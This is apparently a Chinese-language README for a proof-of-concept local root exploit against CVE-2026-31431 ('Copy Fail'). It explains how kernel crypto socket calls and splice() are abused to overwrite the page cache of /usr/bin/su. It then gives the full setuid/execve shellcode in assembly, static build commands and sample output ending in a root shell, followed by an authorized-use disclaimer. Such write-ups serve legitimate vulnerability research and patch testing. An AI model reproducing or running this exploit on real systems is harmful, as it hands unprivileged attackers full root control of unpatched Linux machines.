针对 CVE-2026-31431(Copy Fail)的本地权限提升漏洞利用程序,使用C语言编写。
PT_LOAD 程序头将 /usr/bin/su 的入口点虚拟地址解析为文件偏移量authesn(hmac(sha256),cbc(aes))sendmsg() 发送AAD,其中shellcode字节作为 seqno_lo(字节4-7),并带有 MSG_MOREsplice() 将目标文件页缓存页的32字节作为AEAD认证标签传递recv() 触发解密,authesn 的临时写入落入链式页缓存页中,写入4个受控字节。execl("/usr/bin/su") 加载被篡改的页缓存。40字节的shellcode(setuid(0) + execve("/bin/sh"))以setuid-root权限运行xor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; null terminator
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; filename
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
需要 musl-gcc 或任何支持静态链接的C编译器:
musl-gcc -static -O2 -s -o copyfail exploit.c
或者使用GCC + glibc:
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
此概念验证仅供授权的安全研究和教育目的使用。未经授权对您不拥有或未获得明确测试许可的系统使用此工具属于违法行为。